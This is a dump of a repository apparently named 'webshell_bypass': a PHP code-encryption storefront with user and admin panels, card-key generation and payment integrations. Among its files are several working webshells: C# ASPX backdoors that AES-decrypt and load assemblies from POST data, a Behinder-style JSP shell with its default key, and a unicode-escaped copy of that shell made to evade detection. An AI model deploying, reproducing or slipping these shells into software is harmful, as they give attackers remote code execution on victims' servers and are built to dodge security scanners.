├── .htaccess ├── Index ├── User │ ├── Theauth.php │ ├── User.php │ ├── ajax.php │ ├── code.php │ ├── code_test │ │ └── test.aspx │ ├── copyright.php │ ├── decipher.php │ ├── enaspx.php1 │ ├── encoded │ │ ├── 2.aspx │ │ └── 2.jsp │ ├── enjsp.php │ ├── enphp.php │ ├── function.php │ ├── includes │ │ ├── EnASPX.php │ │ ├── EnJSP.php │ │ ├── EnPHP.php │ │ ├── Weidong │ │ │ ├── encipher.min.php │ │ │ └── encipher.php │ │ ├── function.php │ │ └── shell.jsp │ ├── index.php │ ├── jspcode.php │ ├── kmlist.php │ ├── log.php │ ├── money.php │ ├── phpjm.php │ ├── test.php │ └── vipjm.php ├── admin │ ├── ajax.php │ ├── index.php │ ├── km.php │ ├── kmlist.php │ ├── login.php │ ├── order.php │ ├── pay.php │ ├── set.php │ ├── ulist.php │ ├── update.php │ └── view.php ├── assets │ ├── icon │ │ ├── alipay.ico │ │ ├── qqpay.ico │ │ ├── tenpay.ico │ │ └── wechat.ico │ ├── img │ │ ├── error.svg │ │ └── success.svg │ ├── layui │ │ ├── inst.css │ │ ├── layer.js │ │ └── layui.js │ └── layuiadmin │ │ ├── config.js │ │ ├── json │ │ ├── console │ │ │ ├── prograss.js │ │ │ ├── top-card.js │ │ │ └── top-search.js │ │ ├── content │ │ │ ├── comment.js │ │ │ ├── list.js │ │ │ └── tags.js │ │ ├── forum │ │ │ ├── list.js │ │ │ └── replys.js │ │ ├── layer │ │ │ └── photos.js │ │ ├── layim │ │ │ ├── getList.js │ │ │ └── getMembers.js │ │ ├── mall │ │ │ └── order.js │ │ ├── menu.js │ │ ├── menu1.js │ │ ├── message │ │ │ ├── all.js │ │ │ ├── detail.js │ │ │ ├── direct.js │ │ │ ├── new.js │ │ │ └── notice.js │ │ ├── table │ │ │ ├── demo.js │ │ │ ├── demo2.js │ │ │ ├── demo3.js │ │ │ ├── user.js │ │ │ └── user30.js │ │ ├── upload │ │ │ └── demo.js │ │ ├── user │ │ │ ├── forget.js │ │ │ ├── login.js │ │ │ ├── logout.js │ │ │ ├── reg.js │ │ │ ├── resetpass.js │ │ │ ├── session.js │ │ │ └── sms.js │ │ ├── useradmin │ │ │ ├── mangadmin.js │ │ │ ├── role.js │ │ │ └── webuser.js │ │ ├── workorder │ │ │ └── demo.js │ │ └── 说明.txt │ │ ├── layui │ │ ├── css │ │ │ ├── layui.css │ │ │ ├── layui.mobile.css │ │ │ └── modules │ │ │ │ ├── code.css │ │ │ │ ├── laydate │ │ │ │ └── default │ │ │ │ │ ├── font.css │ │ │ │ │ └── laydate.css │ │ │ │ ├── layer │ │ │ │ └── default │ │ │ │ │ ├── icon-ext.png │ │ │ │ │ ├── icon.png │ │ │ │ │ ├── layer.css │ │ │ │ │ ├── loading-0.gif │ │ │ │ │ ├── loading-1.gif │ │ │ │ │ └── loading-2.gif │ │ │ │ └── layim │ │ │ │ ├── html │ │ │ │ ├── chatlog.html │ │ │ │ ├── find.html │ │ │ │ ├── getmsg.json │ │ │ │ └── msgbox.html │ │ │ │ ├── layim.css │ │ │ │ ├── mobile │ │ │ │ └── layim.css │ │ │ │ └── skin │ │ │ │ ├── 1.jpg │ │ │ │ ├── 2.jpg │ │ │ │ ├── 3.jpg │ │ │ │ ├── 4.jpg │ │ │ │ ├── 5.jpg │ │ │ │ └── logo.jpg │ │ ├── font │ │ │ ├── iconfont.eot │ │ │ ├── iconfont.svg │ │ │ ├── iconfont.ttf │ │ │ └── iconfont.woff │ │ ├── images │ │ │ └── face │ │ │ │ ├── 0.gif │ │ │ │ ├── 1.gif │ │ │ │ ├── 10.gif │ │ │ │ ├── 11.gif │ │ │ │ ├── 12.gif │ │ │ │ ├── 13.gif │ │ │ │ ├── 14.gif │ │ │ │ ├── 15.gif │ │ │ │ ├── 16.gif │ │ │ │ ├── 17.gif │ │ │ │ ├── 18.gif │ │ │ │ ├── 19.gif │ │ │ │ ├── 2.gif │ │ │ │ ├── 20.gif │ │ │ │ ├── 21.gif │ │ │ │ ├── 22.gif │ │ │ │ ├── 23.gif │ │ │ │ ├── 24.gif │ │ │ │ ├── 25.gif │ │ │ │ ├── 26.gif │ │ │ │ ├── 27.gif │ │ │ │ ├── 28.gif │ │ │ │ ├── 29.gif │ │ │ │ ├── 3.gif │ │ │ │ ├── 30.gif │ │ │ │ ├── 31.gif │ │ │ │ ├── 32.gif │ │ │ │ ├── 33.gif │ │ │ │ ├── 34.gif │ │ │ │ ├── 35.gif │ │ │ │ ├── 36.gif │ │ │ │ ├── 37.gif │ │ │ │ ├── 38.gif │ │ │ │ ├── 39.gif │ │ │ │ ├── 4.gif │ │ │ │ ├── 40.gif │ │ │ │ ├── 41.gif │ │ │ │ ├── 42.gif │ │ │ │ ├── 43.gif │ │ │ │ ├── 44.gif │ │ │ │ ├── 45.gif │ │ │ │ ├── 46.gif │ │ │ │ ├── 47.gif │ │ │ │ ├── 48.gif │ │ │ │ ├── 49.gif │ │ │ │ ├── 5.gif │ │ │ │ ├── 50.gif │ │ │ │ ├── 51.gif │ │ │ │ ├── 52.gif │ │ │ │ ├── 53.gif │ │ │ │ ├── 54.gif │ │ │ │ ├── 55.gif │ │ │ │ ├── 56.gif │ │ │ │ ├── 57.gif │ │ │ │ ├── 58.gif │ │ │ │ ├── 59.gif │ │ │ │ ├── 6.gif │ │ │ │ ├── 60.gif │ │ │ │ ├── 61.gif │ │ │ │ ├── 62.gif │ │ │ │ ├── 63.gif │ │ │ │ ├── 64.gif │ │ │ │ ├── 65.gif │ │ │ │ ├── 66.gif │ │ │ │ ├── 67.gif │ │ │ │ ├── 68.gif │ │ │ │ ├── 69.gif │ │ │ │ ├── 7.gif │ │ │ │ ├── 70.gif │ │ │ │ ├── 71.gif │ │ │ │ ├── 8.gif │ │ │ │ └── 9.gif │ │ ├── jquery.min.js │ │ ├── lay │ │ │ ├── all-mobile.js │ │ │ ├── all.js │ │ │ └── modules │ │ │ │ ├── carousel.js │ │ │ │ ├── code.js │ │ │ │ ├── colorpicker.js │ │ │ │ ├── element.js │ │ │ │ ├── flow.js │ │ │ │ ├── form.js │ │ │ │ ├── jquery.js │ │ │ │ ├── laydate.js │ │ │ │ ├── layedit.js │ │ │ │ ├── layer.js │ │ │ │ ├── layim.js │ │ │ │ ├── laypage.js │ │ │ │ ├── laytpl.js │ │ │ │ ├── mobile.js │ │ │ │ ├── mobile │ │ │ │ ├── layer-mobile.js │ │ │ │ ├── layim-mobile-open.js │ │ │ │ ├── layim-mobile.js │ │ │ │ ├── upload-mobile.js │ │ │ │ └── zepto.js │ │ │ │ ├── rate.js │ │ │ │ ├── slider.js │ │ │ │ ├── table.js │ │ │ │ ├── tree.js │ │ │ │ ├── upload.js │ │ │ │ └── util.js │ │ ├── layui.all.js │ │ ├── layui.js │ │ └── style │ │ │ ├── admin.css │ │ │ ├── login.css │ │ │ ├── res │ │ │ ├── bg-none.jpg │ │ │ ├── layui-logo.jpg │ │ │ ├── logo-black.png │ │ │ └── logo.png │ │ │ └── template.css │ │ ├── lib │ │ ├── admin.js │ │ ├── extend │ │ │ ├── echarts.js │ │ │ └── echartsTheme.js │ │ ├── index.js │ │ └── view.js │ │ ├── modules │ │ ├── common.js │ │ ├── console.js │ │ ├── contlist.js │ │ ├── forum.js │ │ ├── im.js │ │ ├── message.js │ │ ├── sample.js │ │ ├── senior.js │ │ ├── set.js │ │ ├── user.js │ │ ├── useradmin.js │ │ └── workorder.js │ │ ├── style │ │ ├── admim.css │ │ ├── admin.css │ │ ├── login.css │ │ ├── res │ │ │ ├── bg-none.jpg │ │ │ ├── layui-logo.jpg │ │ │ ├── logo-black.png │ │ │ ├── logo.png │ │ │ └── template │ │ │ │ ├── character.jpg │ │ │ │ ├── huge.jpg │ │ │ │ └── portrait.png │ │ └── template.css │ │ └── tpl │ │ ├── layim │ │ └── demo.html │ │ ├── system │ │ ├── about.html │ │ ├── get.html │ │ ├── more.html │ │ ├── theme.html │ │ └── 说明.txt │ │ └── 说明.txt ├── config.php ├── down.php ├── includes │ ├── 360safe │ │ ├── 360webscan.php │ │ └── webscan_cache.php │ ├── SecretUtilTools.php │ ├── authcode.php │ ├── cache.class.php │ ├── common.php │ ├── db.class.php │ ├── download │ │ └── 陌屿云加密 │ ├── function.php │ ├── jump.php │ ├── member.php │ └── version.php ├── index.php ├── install │ ├── db.class.php │ ├── index.php │ ├── install.lock │ ├── install.sql │ └── readme.txt ├── login.php ├── other │ ├── alipay.php │ ├── alipay │ │ ├── alipay.config.php │ │ ├── alipay_core.function.php │ │ ├── alipay_md5.function.php │ │ ├── alipay_notify.class.php │ │ ├── alipay_submit.class.php │ │ └── cacert.pem │ ├── alipay_notify.php │ ├── alipay_return.php │ ├── assets │ │ ├── css │ │ │ ├── alipay-pay.png │ │ │ ├── alipay_pay.css │ │ │ ├── mqq-pay.png │ │ │ ├── mqq_pay.css │ │ │ ├── wave.png │ │ │ ├── wechat-pay.png │ │ │ └── wechat_pay.css │ │ ├── img │ │ │ └── wxwappay.png │ │ └── js │ │ │ └── qrcode.min.js │ ├── codepay.php │ ├── codepay │ │ ├── codepay_config.php │ │ ├── css │ │ │ ├── fonts │ │ │ │ ├── fontawesome-webfont.woff │ │ │ │ └── fontawesome-webfont.woff2 │ │ │ ├── main.css │ │ │ ├── userPay.css │ │ │ ├── vendor.css │ │ │ └── wechat_pay.css │ │ ├── fonts │ │ │ ├── fontawesome-webfont.woff │ │ │ └── fontawesome-webfont.woff2 │ │ ├── img │ │ │ ├── alipay.jpg │ │ │ ├── mainIcon.png │ │ │ ├── member-icon.png │ │ │ ├── mobile.png │ │ │ ├── mqq_logo.png │ │ │ ├── no.png │ │ │ ├── qqpay.jpg │ │ │ ├── qqpay_ico.png │ │ │ ├── use_1.png │ │ │ ├── use_2.png │ │ │ ├── use_3.png │ │ │ ├── wave.png │ │ │ ├── wechat-pay.png │ │ │ ├── weixin-qrcode.1xf1oN.jpg │ │ │ └── weixin.jpg │ │ ├── js │ │ │ ├── codepay_util.js │ │ │ ├── html5shiv.min.js │ │ │ ├── jquery-1.10.2.min.js │ │ │ ├── json3.min.js │ │ │ ├── notify.js │ │ │ └── respond.min.js │ │ └── qrcode.php │ ├── codepay_cron.php │ ├── codepay_notify.php │ ├── codepay_return.php │ ├── epay │ │ ├── epay.config.php │ │ ├── epay_notify.class.php │ │ └── epay_submit.class.php │ ├── epay_notify.php │ ├── epay_return.php │ ├── f2fpay │ │ ├── AlipayTradeService.php │ │ ├── config.php │ │ ├── lib │ │ │ ├── AopClient.php │ │ │ └── AopEncrypt.php │ │ └── model │ │ │ ├── builder │ │ │ ├── AlipayTradePrecreateContentBuilder.php │ │ │ ├── AlipayTradeQueryContentBuilder.php │ │ │ ├── AlipayTradeRefundContentBuilder.php │ │ │ ├── ContentBuilder.php │ │ │ ├── ExtendParams.php │ │ │ ├── GoodsDetail.php │ │ │ └── RoyaltyDetailInfo.php │ │ │ ├── request │ │ │ ├── AlipayTradePrecreateRequest.php │ │ │ ├── AlipayTradeQueryRequest.php │ │ │ └── AlipayTradeRefundRequest.php │ │ │ └── result │ │ │ ├── AlipayF2FPrecreateResult.php │ │ │ ├── AlipayF2FQueryResult.php │ │ │ └── AlipayF2FRefundResult.php │ ├── f2fpay_notify.php │ ├── getshop.php │ ├── inc.php │ ├── qqpay.php │ ├── qqpay │ │ ├── qpayMch.config.php │ │ ├── qpayMchAPI.class.php │ │ ├── qpayMchUtil.class.php │ │ └── qpayNotify.class.php │ ├── qqpay_notify.php │ ├── submit.php │ ├── tenpay │ │ ├── CheckRequestHandler.class.php │ │ ├── RequestHandler.class.php │ │ ├── ResponseHandler.class.php │ │ └── client │ │ │ ├── ClientResponseHandler.class.php │ │ │ └── TenpayHttpClient.class.php │ ├── tenpay_notify.php │ ├── tenpay_return.php │ ├── wxjspay.php │ ├── wxpay.php │ ├── wxpay │ │ ├── WxPay.Api.php │ │ ├── WxPay.Config.php │ │ ├── WxPay.Data.php │ │ ├── WxPay.Exception.php │ │ ├── WxPay.JsApiPay.php │ │ ├── WxPay.NativePay.php │ │ └── WxPay.Notify.php │ ├── wxpay_notify.php │ ├── wxwap_ok.php │ ├── wxwap_return.php │ └── wxwappay.php └── reg.php ├── README.md ├── admin └── index.php ├── index.php ├── nginx.htaccess ├── static ├── css │ └── style.min.css ├── images │ ├── evie_default_bg.jpeg │ ├── together.svg │ ├── undraw_browser.svg │ ├── undraw_creation.svg │ ├── undraw_designer.svg │ ├── undraw_frameworks.svg │ └── undraw_responsive.svg └── js │ └── app.min.js └── test_20221008110012_backup.sql /.htaccess: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/.htaccess -------------------------------------------------------------------------------- /Index/User/Theauth.php: -------------------------------------------------------------------------------- 1 | window.location.href='../login.php';"); 7 | ?> 8 | 9 | 10 | 11 | 12 | 联系方式-陌屿加密系统 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 |
23 |
24 |
25 |
联系方式
26 |
27 |
客服QQ
QQ:
28 |
29 |
30 |
31 |
32 |
33 | 34 | 35 | 36 | 56 | 57 | -------------------------------------------------------------------------------- /Index/User/ajax.php: -------------------------------------------------------------------------------- 1 | query($sql)){ 15 | exit('{"code":0,"msg":"提交订单成功!","trade_no":"'.$trade_no.'","money":"'.$value.'","name":"在线充值余额"}'); 16 | }else{ 17 | exit('{"code":-1,"msg":"提交订单失败!'.$DB->error().'"}'); 18 | } 19 | break; 20 | } 21 | ?> -------------------------------------------------------------------------------- /Index/User/code_test/test.aspx: -------------------------------------------------------------------------------- 1 | <%@ Page Language="C#" %> 2 | <%@Import Namespace="System.Reflection"%> 3 | <%@Import Namespace="System.IO"%> 4 | <% 5 | try { 6 | string key = "900bc885d7553375"; 7 | byte[] k = Encoding.Default.GetBytes(key); 8 | Session.Add("sky", key); 9 | StreamReader sr = new StreamReader(Request.InputStream); 10 | string line = sr.ReadLine(); 11 | if (!string.IsNullOrEmpty(line)) 12 | { 13 | byte[] c = Convert.FromBase64String(line); 14 | Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this.Context); 15 | sr.Close(); 16 | } 17 | } 18 | catch{ } 19 | 20 | %> -------------------------------------------------------------------------------- /Index/User/encoded/2.aspx: -------------------------------------------------------------------------------- 1 | <%@ Import Namespace="System.IO"%> 2 | <% 3 | try { 4 | string key = "900bc885d7553375"; 5 | byte[] k = Encoding.Default.GetBytes(key); 6 | Session.Add("sky", key); 7 | StreamReader sr = new StreamReader(Request.InputStream); 8 | string line = sr.ReadLine(); 9 | if (!string.IsNullOrEmpty(line)) 10 | { 11 | byte[] c = Convert.FromBase64String(line); 12 | Assembly.Load(new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0, c.Length)).CreateInstance("U").Equals(this.Context); 13 | sr.Close(); 14 | } 15 | } 16 | catch{ } 17 | 18 | %>%><%\u0000%><%\u0020\u0050\u0061\u0067\u0065\u0020\u004c\u0061\u006e\u0067\u0075\u0061\u0067\u0065\u003d\u0022\u0043\u0023\u0022\u0020%> -------------------------------------------------------------------------------- /Index/User/encoded/2.jsp: -------------------------------------------------------------------------------- 1 | <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%\u0021\u0063\u006c\u0061\u0073\u0073\u0020\u0055\u0020\u0065\u0078\u0074\u0065\u006e\u0064\u0073\u0020\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u007b\u0055\u0028\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0020\u0063\u0029\u007b\u0073\u0075\u0070\u0065\u0072\u0028\u0063\u0029\u003b\u007d\u0070\u0075\u0062\u006c\u0069\u0063\u0020\u0043\u006c\u0061\u0073\u0073\u0020\u0067\u0028\u0062\u0079\u0074\u0065\u0020\u005b\u005d\u0062\u0029\u007b\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0073\u0075\u0070\u0065\u0072\u002e\u0064\u0065\u0066\u0069\u006e\u0065\u0043\u006c\u0061\u0073\u0073\u0028\u0062\u002c\u0030\u002c\u0062\u002e\u006c\u0065\u006e\u0067\u0074\u0068\u0029\u003b\u007d\u007d%><%\u0069\u0066\u0020\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u004d\u0065\u0074\u0068\u006f\u0064\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0022\u0050\u004f\u0053\u0054\u0022\u0029\u0029\u007b\u0053\u0074\u0072\u0069\u006e\u0067\u0020\u006b\u003d\u0022\u0065\u0034\u0035\u0065\u0033\u0032\u0039\u0066\u0065\u0062\u0035\u0064\u0039\u0032\u0035\u0062\u0022\u003b\u002f\u002a\u8be5\u5bc6\u94a5\u4e3a\u8fde\u63a5\u5bc6\u7801\u0033\u0032\u4f4d\u006d\u0064\u0035\u503c\u7684\u524d\u0031\u0036\u4f4d\uff0c\u9ed8\u8ba4\u8fde\u63a5\u5bc6\u7801\u0072\u0065\u0062\u0065\u0079\u006f\u006e\u0064\u002a\u002f\u0073\u0065\u0073\u0073\u0069\u006f\u006e\u002e\u0070\u0075\u0074\u0056\u0061\u006c\u0075\u0065\u0028\u0022\u0075\u0022\u002c\u006b\u0029\u003b\u0043\u0069\u0070\u0068\u0065\u0072\u0020\u0063\u003d\u0043\u0069\u0070\u0068\u0065\u0072\u002e\u0067\u0065\u0074\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0022\u0041\u0045\u0053\u0022\u0029\u003b\u0063\u002e\u0069\u006e\u0069\u0074\u0028\u0032\u002c\u006e\u0065\u0077\u0020\u0053\u0065\u0063\u0072\u0065\u0074\u004b\u0065\u0079\u0053\u0070\u0065\u0063\u0028\u006b\u002e\u0067\u0065\u0074\u0042\u0079\u0074\u0065\u0073\u0028\u0029\u002c\u0022\u0041\u0045\u0053\u0022\u0029\u0029\u003b\u006e\u0065\u0077\u0020\u0055\u0028\u0074\u0068\u0069\u0073\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u0028\u0029\u002e\u0067\u0065\u0074\u0043\u006c\u0061\u0073\u0073\u004c\u006f\u0061\u0064\u0065\u0072\u0028\u0029\u0029\u002e\u0067\u0028\u0063\u002e\u0064\u006f\u0046\u0069\u006e\u0061\u006c\u0028\u0042\u0061\u0073\u0065\u0036\u0034\u002e\u0067\u0065\u0074\u0044\u0065\u0063\u006f\u0064\u0065\u0072\u0028\u0029\u002e\u0064\u0065\u0063\u006f\u0064\u0065\u0028\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u002e\u0067\u0065\u0074\u0052\u0065\u0061\u0064\u0065\u0072\u0028\u0029\u002e\u0072\u0065\u0061\u0064\u004c\u0069\u006e\u0065\u0028\u0029\u0029\u0029\u0029\u002e\u006e\u0065\u0077\u0049\u006e\u0073\u0074\u0061\u006e\u0063\u0065\u0028\u0029\u002e\u0065\u0071\u0075\u0061\u006c\u0073\u0028\u0070\u0061\u0067\u0065\u0043\u006f\u006e\u0074\u0065\u0078\u0074\u0029\u003b\u007d%> -------------------------------------------------------------------------------- /Index/User/function.php: -------------------------------------------------------------------------------- 1 | advancedEncryption = true; 12 | $encipher->comments = array(''.$zhushi.''); 13 | /** 14 | * 设置加密模式 false = 低级模式; true = 高级模式 15 | * 低级模式不使用eval函数 16 | * 高级模式使用了eval函数 17 | */ 18 | $encipher->encode(); 19 | ?> -------------------------------------------------------------------------------- /Index/User/includes/function.php: -------------------------------------------------------------------------------- 1 | 136) { 10 | $data_1 .= chr($ch / 2); 11 | } else { 12 | $data_1 .= $data[$i]; 13 | } 14 | } 15 | } 16 | $data_1 = base64_decode($data_1); 17 | $key = md5($key); 18 | $j = $ctrmax = 32; 19 | $data_2 = ''; 20 | for ($i = 0; $i < strlen($data_1); $i++) { 21 | if ($j <= 0) { 22 | $j = $ctrmax; 23 | } 24 | $j--; 25 | $data_2 .= $data_1[$i] ^ $key[$j]; 26 | } 27 | return $data_2; 28 | } 29 | 30 | function find_data($code) 31 | { 32 | $code_end = strrpos($code, "?>"); 33 | if (!$code_end) { 34 | return ""; 35 | } 36 | $data_start = $code_end + 2; 37 | $data = substr($code, $data_start, -46); 38 | return $data; 39 | } 40 | 41 | function find_key($code) 42 | { 43 | // $v1 = $v2('bWQ1'); 44 | // $key1 = $v1('??????'); 45 | $pos1 = strpos($code, "('" . preg_quote(base64_encode('md5')) . "');"); 46 | $pos2 = strrpos(substr($code, 0, $pos1), '$'); 47 | $pos3 = strrpos(substr($code, 0, $pos2), '$'); 48 | $var_name = substr($code, $pos3, $pos2 - $pos3 - 1); 49 | $pos4 = strpos($code, $var_name, $pos1); 50 | $pos5 = strpos($code, "('", $pos4); 51 | $pos6 = strpos($code, "')", $pos4); 52 | $key = substr($code, $pos5 + 2, $pos6 - $pos5 - 2); 53 | return $key; 54 | } 55 | 56 | $input_file = $argv[1]. $app.'/includes/download/'.$space.'/'.$file.".txt"; 57 | $output_file = $argv[1]. $app.'/includes/download/'.$space.'/'.$file.".txt"; 58 | 59 | $code = file_get_contents($input_file); 60 | 61 | $data = find_data($code); 62 | if (!$code) { 63 | echo '未找到加密数据', PHP_EOL; 64 | exit; 65 | } 66 | 67 | $key = find_key($code); 68 | if (!$key) { 69 | echo '未找到秘钥', PHP_EOL; 70 | exit; 71 | } 72 | 73 | $decrypted = decrypt($data, $key); 74 | $uncompressed = gzuncompress($decrypted); 75 | if ($uncompressed) { 76 | $decrypted = str_rot13($uncompressed); 77 | } else { 78 | $decrypted = str_rot13($decrypted); 79 | } 80 | file_put_contents($output_file, $decrypted); 81 | ?> -------------------------------------------------------------------------------- /Index/User/includes/shell.jsp: -------------------------------------------------------------------------------- 1 | <%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%> -------------------------------------------------------------------------------- /Index/User/jspcode.php: -------------------------------------------------------------------------------- 1 | realpath($target_file)]); 60 | //echo $old_output; 61 | 62 | 63 | } 64 | ?> -------------------------------------------------------------------------------- /Index/User/money.php: -------------------------------------------------------------------------------- 1 | window.location.href='../login.php';"); 6 | $row=$DB->get_row("SELECT * FROM moyu_user WHERE user='".$udata['user']."'"); 7 | ?> 8 | 9 | 10 | 11 | 12 | <?=$title?> 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | layer.alert('平台还没配置支付接口,如有问题联系站长!',{icon:5,closeBtn:0},function(){window.location.href='./index.php'});"; 26 | } 27 | ?> 28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 | 37 |
38 |
39 |
40 |

41 | 支付宝 '; 43 | if($conf['qqpay_api'])echo ' '; 44 | if($conf['wxpay_api'])echo ' '; 45 | if($conf['tenpay_api'])echo ' '; 46 | ?> 47 |
48 |
49 | 50 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /Index/admin/ajax.php: -------------------------------------------------------------------------------- 1 | window.location.href='./login.php';"); 5 | $act=isset($_GET['act'])?daddslashes($_GET['act']):null; 6 | 7 | @header('Content-Type: application/json; charset=UTF-8'); 8 | 9 | switch($act){ 10 | case 'delpay'://清空订单记录 11 | if($DB->query("DELETE FROM moyu_pay")==true) 12 | exit('{"code":0,"msg":"清空成功"}'); 13 | else 14 | exit('{"code":-1,"msg":"清空失败'.$DB->error().'"}'); 15 | break; 16 | 17 | case 'siteRecharge': //充值 18 | $id=intval($_POST['id']); 19 | $do=intval($_POST['actdo']); 20 | $rmb=floatval($_POST['rmb']); 21 | $row=$DB->get_row("select * from moyu_daili where id='$id' limit 1"); 22 | if(!$row) 23 | exit('{"code":-1,"msg":"当前账户不存在!"}'); 24 | if($do==1 && $rmb>$row['rmb'])$rmb=$row['rmb']; 25 | if($do==0){ 26 | $DB->query("update moyu_daili set rmb=rmb+{$rmb} where id='{$id}'"); 27 | }else{ 28 | $DB->query("update moyu_daili set rmb=rmb-{$rmb} where id='{$id}'"); 29 | } 30 | exit('{"code":0,"msg":"succ"}'); 31 | break; 32 | default: 33 | exit('{"code":-4,"msg":"No Act"}'); 34 | break; 35 | } -------------------------------------------------------------------------------- /Index/admin/km.php: -------------------------------------------------------------------------------- 1 | window.location.href='./login.php';"); 7 | ?> 8 | 9 | 10 | 11 | 12 | <?=$title?> 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 35 |
36 |
37 |
38 |
39 |
卡密生成
40 |
41 | get_row("SELECT * FROM moyu_km WHERE km='{$km}' limit 1"); 46 | if($row!='')exit("error"); 47 | for ($i=0; $i < $count; $i++) { 48 | $kami[$i]=randomkeys(10); 49 | } 50 | foreach ($kami as $value) { 51 | $sql="insert into `moyu_km` (`km`,`money`,`state`) values ('$value','$money','0')"; 52 | $DB->query($sql); 53 | } 54 | echo ""; 55 | } ?> 56 |
57 |
58 |
59 | 60 |
61 | 62 |
63 |
64 |
65 |
66 | 67 |
68 | 69 |
70 |
71 |
72 |
73 | 74 |
75 |
76 |
77 | -------------------------------------------------------------------------------- /Index/admin/view.php: -------------------------------------------------------------------------------- 1 | window.location.href='../login.php';"); 6 | $count2=$DB->count("SELECT count(*) from moyu_km WHERE 1"); 7 | $count3=$DB->count("SELECT count(*) from moyu_daili WHERE 1"); 8 | ?> 9 | 10 | 11 | 12 | 13 | 控制台主页 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 |
26 |
27 |
28 |
全站信息
29 |
30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 43 | 44 | 45 | 46 | 49 | 50 | 51 |
用户总数 39 | 42 |
您的Q Q 47 | 48 |
52 |
53 |
54 | 55 | 62 | 63 | 72 | 73 | 74 | 75 | -------------------------------------------------------------------------------- /Index/assets/icon/alipay.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/icon/alipay.ico -------------------------------------------------------------------------------- /Index/assets/icon/qqpay.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/icon/qqpay.ico -------------------------------------------------------------------------------- /Index/assets/icon/tenpay.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/icon/tenpay.ico -------------------------------------------------------------------------------- /Index/assets/icon/wechat.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StarsApt/webshell_bypass/9caf5699bb0970239326a7444ec5634509bfd43e/Index/assets/icon/wechat.ico -------------------------------------------------------------------------------- /Index/assets/img/success.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Group 2 5 | Created with Sketch. 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /Index/assets/layui/layui.js: -------------------------------------------------------------------------------- 1 | /*用户登入*/ 2 | $("#submit").click(function(){ 3 | var user=$("input[name='user']").val(); 4 | var pass=$("input[name='pass']").val(); 5 | if(!user || !pass){ 6 | layer.msg('账号或者密码不能为空!', function(){ }); 7 | return false; 8 | } 9 | }); 10 | /*QQ登入*/ 11 | $("#login").click(function(){ 12 | var qqlogin=$("input[name='qqlogin']").val(); 13 | if(!qqlogin){ 14 | layer.msg('开发中敬请期待!', function(){ }); 15 | return false; 16 | } 17 | }); 18 | /*用户注册*/ 19 | $("#zc").click(function(){ 20 | var qq=$("input[name='qq']").val(); 21 | var pass=$("input[name='pass']").val(); 22 | var user=$("input[name='user']").val(); 23 | if(!qq || !pass || !user){ 24 | layer.msg('输入框内容不能为空!', function(){ }); 25 | return false; 26 | } 27 | }); 28 | /*卡密*/ 29 | $("#km").click(function(){ 30 | var count=$("input[name='count']").val(); 31 | var money=$("input[name='money']").val(); 32 | if(!count || !money){ 33 | layer.msg('输入框内容不能为空!', function(){ }); 34 | return false; 35 | } 36 | }); 37 | /*加密注释*/ 38 | $("#wd").click(function(){ 39 | var zhushi=$("input[name='zhushi']").val(); 40 | if(!zhushi){ 41 | layer.msg('注释输入不能为空哟 !', function(){ }); 42 | return false; 43 | } 44 | }); 45 | /*在线充值*/ 46 | function dopay(type){ 47 | var value=$("input[name='value']").val(); 48 | if(value=='' || value==0){ 49 | layer.msg('充值金额不能为空'); 50 | return false; 51 | }else if(value[0]=='.'){ 52 | layer.msg("金额不能以点开头,请重新填写!"); 53 | return false; 54 | } 55 | $.get("ajax.php?act=recharge&type="+type+"&value="+value, function(data) { 56 | if(data.code == 0){ 57 | window.location.href='../other/submit.php?type='+type+'&orderid='+data.trade_no; 58 | }else{ 59 | layer.alert(data.msg); 60 | } 61 | }, 'json'); 62 | } 63 | $("#buy_alipay").click(function(){ 64 | dopay('alipay') 65 | }); 66 | $("#buy_qqpay").click(function(){ 67 | dopay('qqpay') 68 | }); 69 | $("#buy_wxpay").click(function(){ 70 | dopay('wxpay') 71 | }); 72 | 